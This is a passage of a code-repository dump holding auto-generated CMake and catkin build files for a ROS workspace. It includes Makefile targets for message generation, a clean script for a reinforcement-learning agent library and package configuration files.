mantis_model/CMakeFiles/geometry_msgs_generate_messages_lisp.dir/rule\n\n# Convenience name for target.\ngeometry_msgs_generate_messages_lisp: mantis_model/CMakeFiles/geometry_msgs_generate_messages_lisp.dir/rule\n\n.PHONY : geometry_msgs_generate_messages_lisp\n\n# fast build rule for target.\ngeometry_msgs_generate_messages_lisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/geometry_msgs_generate_messages_lisp.dir/build.make mantis_model/CMakeFiles/geometry_msgs_generate_messages_lisp.dir/build\n.PHONY : geometry_msgs_generate_messages_lisp/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/tf2_msgs_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/tf2_msgs_generate_messages_py.dir/rule\n.PHONY : mantis_model/CMakeFiles/tf2_msgs_generate_messages_py.dir/rule\n\n# Convenience name for target.\ntf2_msgs_generate_messages_py: mantis_model/CMakeFiles/tf2_msgs_generate_messages_py.dir/rule\n\n.PHONY : tf2_msgs_generate_messages_py\n\n# fast build rule for target.\ntf2_msgs_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/tf2_msgs_generate_messages_py.dir/build.make mantis_model/CMakeFiles/tf2_msgs_generate_messages_py.dir/build\n.PHONY : tf2_msgs_generate_messages_py/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/sensor_msgs_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/sensor_msgs_generate_messages_py.dir/rule\n.PHONY : mantis_model/CMakeFiles/sensor_msgs_generate_messages_py.dir/rule\n\n# Convenience name for target.\nsensor_msgs_generate_messages_py: mantis_model/CMakeFiles/sensor_msgs_generate_messages_py.dir/rule\n\n.PHONY : sensor_msgs_generate_messages_py\n\n# fast build rule for target.\nsensor_msgs_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/sensor_msgs_generate_messages_py.dir/build.make mantis_model/CMakeFiles/sensor_msgs_generate_messages_py.dir/build\n.PHONY : sensor_msgs_generate_messages_py/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/tf2_msgs_generate_messages_eus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/tf2_msgs_generate_messages_eus.dir/rule\n.PHONY : mantis_model/CMakeFiles/tf2_msgs_generate_messages_eus.dir/rule\n\n# Convenience name for target.\ntf2_msgs_generate_messages_eus: mantis_model/CMakeFiles/tf2_msgs_generate_messages_eus.dir/rule\n\n.PHONY : tf2_msgs_generate_messages_eus\n\n# fast build rule for target.\ntf2_msgs_generate_messages_eus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/tf2_msgs_generate_messages_eus.dir/build.make mantis_model/CMakeFiles/tf2_msgs_generate_messages_eus.dir/build\n.PHONY : tf2_msgs_generate_messages_eus/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/tf_generate_messages_lisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/tf_generate_messages_lisp.dir/rule\n.PHONY : mantis_model/CMakeFiles/tf_generate_messages_lisp.dir/rule\n\n# Convenience name for target.\ntf_generate_messages_lisp: mantis_model/CMakeFiles/tf_generate_messages_lisp.dir/rule\n\n.PHONY : tf_generate_messages_lisp\n\n# fast build rule for target.\ntf_generate_messages_lisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/tf_generate_messages_lisp.dir/build.make mantis_model/CMakeFiles/tf_generate_messages_lisp.dir/build\n.PHONY : tf_generate_messages_lisp/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/geometry_msgs_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/geometry_msgs_generate_messages_nodejs.dir/rule\n.PHONY : mantis_model/CMakeFiles/geometry_msgs_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\ngeometry_msgs_generate_messages_nodejs: mantis_model/CMakeFiles/geometry_msgs_generate_messages_nodejs.dir/rule\n\n.PHONY : geometry_msgs_generate_messages_nodejs\n\n# fast build rule for target.\ngeometry_msgs_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/geometry_msgs_generate_messages_nodejs.dir/build.make mantis_model/CMakeFiles/geometry_msgs_generate_messages_nodejs.dir/build\n.PHONY : geometry_msgs_generate_messages_nodejs/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/geometry_msgs_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/geometry_msgs_generate_messages_py.dir/rule\n.PHONY : mantis_model/CMakeFiles/geometry_msgs_generate_messages_py.dir/rule\n\n# Convenience name for target.\ngeometry_msgs_generate_messages_py: mantis_model/CMakeFiles/geometry_msgs_generate_messages_py.dir/rule\n\n.PHONY : geometry_msgs_generate_messages_py\n\n# fast build rule for target.\ngeometry_msgs_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/geometry_msgs_generate_messages_py.dir/build.make mantis_model/CMakeFiles/geometry_msgs_generate_messages_py.dir/build\n.PHONY : geometry_msgs_generate_messages_py/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/tf_generate_messages_cpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/tf_generate_messages_cpp.dir/rule\n.PHONY : mantis_model/CMakeFiles/tf_generate_messages_cpp.dir/rule\n\n# Convenience name for target.\ntf_generate_messages_cpp: mantis_model/CMakeFiles/tf_generate_messages_cpp.dir/rule\n\n.PHONY : tf_generate_messages_cpp\n\n# fast build rule for target.\ntf_generate_messages_cpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/tf_generate_messages_cpp.dir/build.make mantis_model/CMakeFiles/tf_generate_messages_cpp.dir/build\n.PHONY : tf_generate_messages_cpp/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/sensor_msgs_generate_messages_cpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/sensor_msgs_generate_messages_cpp.dir/rule\n.PHONY : mantis_model/CMakeFiles/sensor_msgs_generate_messages_cpp.dir/rule\n\n# Convenience name for target.\nsensor_msgs_generate_messages_cpp: mantis_model/CMakeFiles/sensor_msgs_generate_messages_cpp.dir/rule\n\n.PHONY : sensor_msgs_generate_messages_cpp\n\n# fast build rule for target.\nsensor_msgs_generate_messages_cpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/sensor_msgs_generate_messages_cpp.dir/build.make mantis_model/CMakeFiles/sensor_msgs_generate_messages_cpp.dir/build\n.PHONY : sensor_msgs_generate_messages_cpp/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/sensor_msgs_generate_messages_eus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/sensor_msgs_generate_messages_eus.dir/rule\n.PHONY : mantis_model/CMakeFiles/sensor_msgs_generate_messages_eus.dir/rule\n\n# Convenience name for target.\nsensor_msgs_generate_messages_eus: mantis_model/CMakeFiles/sensor_msgs_generate_messages_eus.dir/rule\n\n.PHONY : sensor_msgs_generate_messages_eus\n\n# fast build rule for target.\nsensor_msgs_generate_messages_eus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/sensor_msgs_generate_messages_eus.dir/build.make mantis_model/CMakeFiles/sensor_msgs_generate_messages_eus.dir/build\n.PHONY : sensor_msgs_generate_messages_eus/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/sensor_msgs_generate_messages_lisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/sensor_msgs_generate_messages_lisp.dir/rule\n.PHONY : mantis_model/CMakeFiles/sensor_msgs_generate_messages_lisp.dir/rule\n\n# Convenience name for target.\nsensor_msgs_generate_messages_lisp: mantis_model/CMakeFiles/sensor_msgs_generate_messages_lisp.dir/rule\n\n.PHONY : sensor_msgs_generate_messages_lisp\n\n# fast build rule for target.\nsensor_msgs_generate_messages_lisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/sensor_msgs_generate_messages_lisp.dir/build.make mantis_model/CMakeFiles/sensor_msgs_generate_messages_lisp.dir/build\n.PHONY : sensor_msgs_generate_messages_lisp/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/tf2_msgs_generate_messages_cpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/tf2_msgs_generate_messages_cpp.dir/rule\n.PHONY : mantis_model/CMakeFiles/tf2_msgs_generate_messages_cpp.dir/rule\n\n# Convenience name for target.\ntf2_msgs_generate_messages_cpp: mantis_model/CMakeFiles/tf2_msgs_generate_messages_cpp.dir/rule\n\n.PHONY : tf2_msgs_generate_messages_cpp\n\n# fast build rule for target.\ntf2_msgs_generate_messages_cpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/tf2_msgs_generate_messages_cpp.dir/build.make mantis_model/CMakeFiles/tf2_msgs_generate_messages_cpp.dir/build\n.PHONY : tf2_msgs_generate_messages_cpp/fast\n\nsrc/joint_state_pub.o: src/joint_state_pub.cpp.o\n\n.PHONY : src/joint_state_pub.o\n\n# target to build an object file\nsrc/joint_state_pub.cpp.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/joint_state_pub.dir/build.make mantis_model/CMakeFiles/joint_state_pub.dir/src/joint_state_pub.cpp.o\n.PHONY : src/joint_state_pub.cpp.o\n\nsrc/joint_state_pub.i: src/joint_state_pub.cpp.i\n\n.PHONY : src/joint_state_pub.i\n\n# target to preprocess a source file\nsrc/joint_state_pub.cpp.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/joint_state_pub.dir/build.make mantis_model/CMakeFiles/joint_state_pub.dir/src/joint_state_pub.cpp.i\n.PHONY : src/joint_state_pub.cpp.i\n\nsrc/joint_state_pub.s: src/joint_state_pub.cpp.s\n\n.PHONY : src/joint_state_pub.s\n\n# target to generate assembly for a file\nsrc/joint_state_pub.cpp.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/joint_state_pub.dir/build.make mantis_model/CMakeFiles/joint_state_pub.dir/src/joint_state_pub.cpp.s\n.PHONY : src/joint_state_pub.cpp.s\n\n# Help Target\nhelp:\n\t@echo \"The following are some of the valid targets for this Makefile:\"\n\t@echo \"... all (the default if no target is provided)\"\n\t@echo \"... clean\"\n\t@echo \"... depend\"\n\t@echo \"... joint_state_pub\"\n\t@echo \"... tf2_msgs_generate_messages_lisp\"\n\t@echo \"... install/local\"\n\t@echo \"... tf2_msgs_generate_messages_nodejs\"\n\t@echo \"... tf_generate_messages_nodejs\"\n\t@echo \"... sensor_msgs_generate_messages_nodejs\"\n\t@echo \"... tf_generate_messages_py\"\n\t@echo \"... geometry_msgs_generate_messages_cpp\"\n\t@echo \"... install\"\n\t@echo \"... tf_generate_messages_eus\"\n\t@echo \"... list_install_components\"\n\t@echo \"... geometry_msgs_generate_messages_eus\"\n\t@echo \"... test\"\n\t@echo \"... geometry_msgs_generate_messages_lisp\"\n\t@echo \"... tf2_msgs_generate_messages_py\"\n\t@echo \"... sensor_msgs_generate_messages_py\"\n\t@echo \"... edit_cache\"\n\t@echo \"... tf2_msgs_generate_messages_eus\"\n\t@echo \"... tf_generate_messages_lisp\"\n\t@echo \"... geometry_msgs_generate_messages_nodejs\"\n\t@echo \"... geometry_msgs_generate_messages_py\"\n\t@echo \"... tf_generate_messages_cpp\"\n\t@echo \"... sensor_msgs_generate_messages_cpp\"\n\t@echo \"... sensor_msgs_generate_messages_eus\"\n\t@echo \"... rebuild_cache\"\n\t@echo \"... sensor_msgs_generate_messages_lisp\"\n\t@echo \"... install/strip\"\n\t@echo \"... tf2_msgs_generate_messages_cpp\"\n\t@echo \"... src/joint_state_pub.o\"\n\t@echo \"... src/joint_state_pub.i\"\n\t@echo \"... src/joint_state_pub.s\"\n.PHONY : help\n\n\n\n#=============================================================================\n# Special targets to cleanup operation of make.\n\n# Special rule to run CMake to check the build system integrity.\n# No rule that depends on this can have commands that come from listfiles\n# because they might be regenerated.\ncmake_check_build_system:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0\n.PHONY : cmake_check_build_system\n\n" }, { "alpha_fraction": 0.7726269364356995, "alphanum_fraction": 0.7770419716835022, "avg_line_length": 49.33333206176758, "blob_id": "c112a45136167ab9c4bcc44dd04ebb72c8a287aa", "content_id": "6cd83c0467588a9489565e9088f1e03b64e57091", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 2718, "license_type": "no_license", "max_line_length": 69, "num_lines": 54, "path": "/build/rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/agentlib.dir/src/Agent/DiscretizationAgent.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Agent/QLearner.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Agent/ModelBasedAgent.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Agent/SavedPolicy.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Agent/Dyna.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Agent/Sarsa.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Models/FactoredModel.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Models/M5Tree.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Models/LinearSplitsTree.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Models/C45Tree.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Models/Stump.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Models/MultipleClassifiers.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Models/ExplorationModel.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Models/RMaxModel.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Models/SepPlanExplore.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Planners/ValueIteration.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Planners/PolicyIteration.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Planners/PrioritizedSweeping.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Planners/ETUCT.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Planners/PO_ParallelETUCT.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Planners/ParallelETUCT.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Planners/PO_ETUCT.cc.o\"\n \"CMakeFiles/agentlib.dir/src/Planners/MBS.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/newmat1.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/newmat2.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/newmat3.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/newmat4.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/newmat5.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/newmat6.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/newmat7.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/newmat8.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/newmatex.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/bandmat.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/submat.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/myexcept.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/cholesky.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/evalue.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/fft.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/hholder.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/jacobi.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/newfft.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/sort.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/svd.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/newmatrm.cc.o\"\n \"CMakeFiles/agentlib.dir/src/newmat/newmat9.cc.o\"\n \"/home/justin/ros_test/devel/lib/libagentlib.pdb\"\n \"/home/justin/ros_test/devel/lib/libagentlib.so\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/agentlib.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.7636176943778992, "alphanum_fraction": 0.7646453976631165, "avg_line_length": 87.45454406738281, "blob_id": "2c9fb3540e26b993d942897953879e05905a93e6", "content_id": "ffc14bfac82d6c3cae12a5877150124ca5111fdc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 973, "license_type": "no_license", "max_line_length": 458, "num_lines": 11, "path": "/build/rl-texplore-ros-pkg-master/src/rl_msgs/cmake/rl_msgs-genmsg-context.py", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# generated from genmsg/cmake/pkg-genmsg.context.in\n\nmessages_str = \"/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_msgs/msg/RLAction.msg;/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_msgs/msg/RLEnvDescription.msg;/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_msgs/msg/RLEnvSeedExperience.msg;/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_msgs/msg/RLExperimentInfo.msg;/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_msgs/msg/RLStateReward.msg\"\nservices_str = \"\"\npkg_name = \"rl_msgs\"\ndependencies_str = \"std_msgs\"\nlangs = \"gencpp;geneus;genlisp;gennodejs;genpy\"\ndep_include_paths_str = \"rl_msgs;/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_msgs/msg;std_msgs;/opt/ros/melodic/share/std_msgs/cmake/../msg\"\nPYTHON_EXECUTABLE = \"/usr/bin/python2\"\npackage_has_static_sources = '' == 'TRUE'\ngenmsg_check_deps_script = \"/opt/ros/melodic/share/genmsg/cmake/../../../lib/genmsg/genmsg_check_deps.py\"\n" }, { "alpha_fraction": 0.7089861631393433, "alphanum_fraction": 0.710023045539856, "avg_line_length": 42.838382720947266, "blob_id": "f8d403455f5dfff6fd352a995ee79d21655a5e6b", "content_id": "545c1a18349da5ae6fd6d6dec0f64b51a697237a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 8680, "license_type": "no_license", "max_line_length": 295, "num_lines": 198, "path": "/devel/share/boost_python_catkin_example/cmake/boost_python_catkin_exampleConfig.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# generated from catkin/cmake/template/pkgConfig.cmake.in\n\n# append elements to a list and remove existing duplicates from the list\n# copied from catkin/cmake/list_append_deduplicate.cmake to keep pkgConfig\n# self contained\nmacro(_list_append_deduplicate listname)\n if(NOT \"${ARGN}\" STREQUAL \"\")\n if(${listname})\n list(REMOVE_ITEM ${listname} ${ARGN})\n endif()\n list(APPEND ${listname} ${ARGN})\n endif()\nendmacro()\n\n# append elements to a list if they are not already in the list\n# copied from catkin/cmake/list_append_unique.cmake to keep pkgConfig\n# self contained\nmacro(_list_append_unique listname)\n foreach(_item ${ARGN})\n list(FIND ${listname} ${_item} _index)\n if(_index EQUAL -1)\n list(APPEND ${listname} ${_item})\n endif()\n endforeach()\nendmacro()\n\n# pack a list of libraries with optional build configuration keywords\n# copied from catkin/cmake/catkin_libraries.cmake to keep pkgConfig\n# self contained\nmacro(_pack_libraries_with_build_configuration VAR)\n set(${VAR} \"\")\n set(_argn ${ARGN})\n list(LENGTH _argn _count)\n set(_index 0)\n while(${_index} LESS ${_count})\n list(GET _argn ${_index} lib)\n if(\"${lib}\" MATCHES \"^(debug|optimized|general)$\")\n math(EXPR _index \"${_index} + 1\")\n if(${_index} EQUAL ${_count})\n message(FATAL_ERROR \"_pack_libraries_with_build_configuration() the list of libraries '${ARGN}' ends with '${lib}' which is a build configuration keyword and must be followed by a library\")\n endif()\n list(GET _argn ${_index} library)\n list(APPEND ${VAR} \"${lib}${CATKIN_BUILD_CONFIGURATION_KEYWORD_SEPARATOR}${library}\")\n else()\n list(APPEND ${VAR} \"${lib}\")\n endif()\n math(EXPR _index \"${_index} + 1\")\n endwhile()\nendmacro()\n\n# unpack a list of libraries with optional build configuration keyword prefixes\n# copied from catkin/cmake/catkin_libraries.cmake to keep pkgConfig\n# self contained\nmacro(_unpack_libraries_with_build_configuration VAR)\n set(${VAR} \"\")\n foreach(lib ${ARGN})\n string(REGEX REPLACE \"^(debug|optimized|general)${CATKIN_BUILD_CONFIGURATION_KEYWORD_SEPARATOR}(.+)$\" \"\\\\1;\\\\2\" lib \"${lib}\")\n list(APPEND ${VAR} \"${lib}\")\n endforeach()\nendmacro()\n\n\nif(boost_python_catkin_example_CONFIG_INCLUDED)\n return()\nendif()\nset(boost_python_catkin_example_CONFIG_INCLUDED TRUE)\n\n# set variables for source/devel/install prefixes\nif(\"TRUE\" STREQUAL \"TRUE\")\n set(boost_python_catkin_example_SOURCE_PREFIX /home/justin/ros_test/src/boost-python-catkin-example-master)\n set(boost_python_catkin_example_DEVEL_PREFIX /home/justin/ros_test/devel)\n set(boost_python_catkin_example_INSTALL_PREFIX \"\")\n set(boost_python_catkin_example_PREFIX ${boost_python_catkin_example_DEVEL_PREFIX})\nelse()\n set(boost_python_catkin_example_SOURCE_PREFIX \"\")\n set(boost_python_catkin_example_DEVEL_PREFIX \"\")\n set(boost_python_catkin_example_INSTALL_PREFIX /home/justin/ros_test/install)\n set(boost_python_catkin_example_PREFIX ${boost_python_catkin_example_INSTALL_PREFIX})\nendif()\n\n# warn when using a deprecated package\nif(NOT \"\" STREQUAL \"\")\n set(_msg \"WARNING: package 'boost_python_catkin_example' is deprecated\")\n # append custom deprecation text if available\n if(NOT \"\" STREQUAL \"TRUE\")\n set(_msg \"${_msg} ()\")\n endif()\n message(\"${_msg}\")\nendif()\n\n# flag project as catkin-based to distinguish if a find_package()-ed project is a catkin project\nset(boost_python_catkin_example_FOUND_CATKIN_PROJECT TRUE)\n\nif(NOT \" \" STREQUAL \" \")\n set(boost_python_catkin_example_INCLUDE_DIRS \"\")\n set(_include_dirs \"\")\n if(NOT \" \" STREQUAL \" \")\n set(_report \"Check the issue tracker '' and consider creating a ticket if the problem has not been reported yet.\")\n elseif(NOT \"https://github.com/luator/ros-boost-python \" STREQUAL \" \")\n set(_report \"Check the website 'https://github.com/luator/ros-boost-python' for information and consider reporting the problem.\")\n else()\n set(_report \"Report the problem to the maintainer 'Felix Widmaier <[email protected]>' and request to fix the problem.\")\n endif()\n foreach(idir ${_include_dirs})\n if(IS_ABSOLUTE ${idir} AND IS_DIRECTORY ${idir})\n set(include ${idir})\n elseif(\"${idir} \" STREQUAL \"include \")\n get_filename_component(include \"${boost_python_catkin_example_DIR}/../../../include\" ABSOLUTE)\n if(NOT IS_DIRECTORY ${include})\n message(FATAL_ERROR \"Project 'boost_python_catkin_example' specifies '${idir}' as an include dir, which is not found. It does not exist in '${include}'. ${_report}\")\n endif()\n else()\n message(FATAL_ERROR \"Project 'boost_python_catkin_example' specifies '${idir}' as an include dir, which is not found. It does neither exist as an absolute directory nor in '/home/justin/ros_test/src/boost-python-catkin-example-master/${idir}'. ${_report}\")\n endif()\n _list_append_unique(boost_python_catkin_example_INCLUDE_DIRS ${include})\n endforeach()\nendif()\n\nset(libraries \"\")\nforeach(library ${libraries})\n # keep build configuration keywords, target names and absolute libraries as-is\n if(\"${library}\" MATCHES \"^(debug|optimized|general)$\")\n list(APPEND boost_python_catkin_example_LIBRARIES ${library})\n elseif(TARGET ${library})\n list(APPEND boost_python_catkin_example_LIBRARIES ${library})\n elseif(IS_ABSOLUTE ${library})\n list(APPEND boost_python_catkin_example_LIBRARIES ${library})\n else()\n set(lib_path \"\")\n set(lib \"${library}-NOTFOUND\")\n # since the path where the library is found is returned we have to iterate over the paths manually\n foreach(path /home/justin/ros_test/devel/lib;/home/justin/catkin_ws/devel/lib;/home/justin/ros_test/devel/lib;/opt/ros/melodic/lib)\n find_library(lib ${library}\n PATHS ${path}\n NO_DEFAULT_PATH NO_CMAKE_FIND_ROOT_PATH)\n if(lib)\n set(lib_path ${path})\n break()\n endif()\n endforeach()\n if(lib)\n _list_append_unique(boost_python_catkin_example_LIBRARY_DIRS ${lib_path})\n list(APPEND boost_python_catkin_example_LIBRARIES ${lib})\n else()\n # as a fall back for non-catkin libraries try to search globally\n find_library(lib ${library})\n if(NOT lib)\n message(FATAL_ERROR \"Project '${PROJECT_NAME}' tried to find library '${library}'. The library is neither a target nor built/installed properly. Did you compile project 'boost_python_catkin_example'? Did you find_package() it before the subdirectory containing its code is included?\")\n endif()\n list(APPEND boost_python_catkin_example_LIBRARIES ${lib})\n endif()\n endif()\nendforeach()\n\nset(boost_python_catkin_example_EXPORTED_TARGETS \"\")\n# create dummy targets for exported code generation targets to make life of users easier\nforeach(t ${boost_python_catkin_example_EXPORTED_TARGETS})\n if(NOT TARGET ${t})\n add_custom_target(${t})\n endif()\nendforeach()\n\nset(depends \"\")\nforeach(depend ${depends})\n string(REPLACE \" \" \";\" depend_list ${depend})\n # the package name of the dependency must be kept in a unique variable so that it is not overwritten in recursive calls\n list(GET depend_list 0 boost_python_catkin_example_dep)\n list(LENGTH depend_list count)\n if(${count} EQUAL 1)\n # simple dependencies must only be find_package()-ed once\n if(NOT ${boost_python_catkin_example_dep}_FOUND)\n find_package(${boost_python_catkin_example_dep} REQUIRED NO_MODULE)\n endif()\n else()\n # dependencies with components must be find_package()-ed again\n list(REMOVE_AT depend_list 0)\n find_package(${boost_python_catkin_example_dep} REQUIRED NO_MODULE ${depend_list})\n endif()\n _list_append_unique(boost_python_catkin_example_INCLUDE_DIRS ${${boost_python_catkin_example_dep}_INCLUDE_DIRS})\n\n # merge build configuration keywords with library names to correctly deduplicate\n _pack_libraries_with_build_configuration(boost_python_catkin_example_LIBRARIES ${boost_python_catkin_example_LIBRARIES})\n _pack_libraries_with_build_configuration(_libraries ${${boost_python_catkin_example_dep}_LIBRARIES})\n _list_append_deduplicate(boost_python_catkin_example_LIBRARIES ${_libraries})\n # undo build configuration keyword merging after deduplication\n _unpack_libraries_with_build_configuration(boost_python_catkin_example_LIBRARIES ${boost_python_catkin_example_LIBRARIES})\n\n _list_append_unique(boost_python_catkin_example_LIBRARY_DIRS ${${boost_python_catkin_example_dep}_LIBRARY_DIRS})\n list(APPEND boost_python_catkin_example_EXPORTED_TARGETS ${${boost_python_catkin_example_dep}_EXPORTED_TARGETS})\nendforeach()\n\nset(pkg_cfg_extras \"\")\nforeach(extra ${pkg_cfg_extras})\n if(NOT IS_ABSOLUTE ${extra})\n set(extra ${boost_python_catkin_example_DIR}/${extra})\n endif()\n include(${extra})\nendforeach()\n" }, { "alpha_fraction": 0.7450425028800964, "alphanum_fraction": 0.7507082223892212, "avg_line_length": 43.1875, "blob_id": "b3be00ce5aa2c5cb42bbd0deec5b4014e7cd50f7", "content_id": "fc042528e9c28902fbc18bf280400df3ed614497", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 706, "license_type": "no_license", "max_line_length": 60, "num_lines": 16, "path": "/build/ugv_course_libs/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"ugv_course_libs\")\nset(ugv_course_libs_VERSION \"0.0.0\")\nset(ugv_course_libs_MAINTAINER \"micho <[email protected]>\")\nset(ugv_course_libs_PACKAGE_FORMAT \"1\")\nset(ugv_course_libs_BUILD_DEPENDS \"sensor_msgs\" \"tf\")\nset(ugv_course_libs_BUILD_EXPORT_DEPENDS \"sensor_msgs\" \"tf\")\nset(ugv_course_libs_BUILDTOOL_DEPENDS \"catkin\")\nset(ugv_course_libs_BUILDTOOL_EXPORT_DEPENDS )\nset(ugv_course_libs_EXEC_DEPENDS \"sensor_msgs\" \"tf\")\nset(ugv_course_libs_RUN_DEPENDS \"sensor_msgs\" \"tf\")\nset(ugv_course_libs_TEST_DEPENDS )\nset(ugv_course_libs_DOC_DEPENDS )\nset(ugv_course_libs_URL_WEBSITE \"\")\nset(ugv_course_libs_URL_BUGTRACKER \"\")\nset(ugv_course_libs_URL_REPOSITORY \"\")\nset(ugv_course_libs_DEPRECATED \"\")" }, { "alpha_fraction": 0.7905638813972473, "alphanum_fraction": 0.7951668500900269, "avg_line_length": 53.375, "blob_id": "499eac3acab2f519bec85c31e40ca672e30a19ff", "content_id": 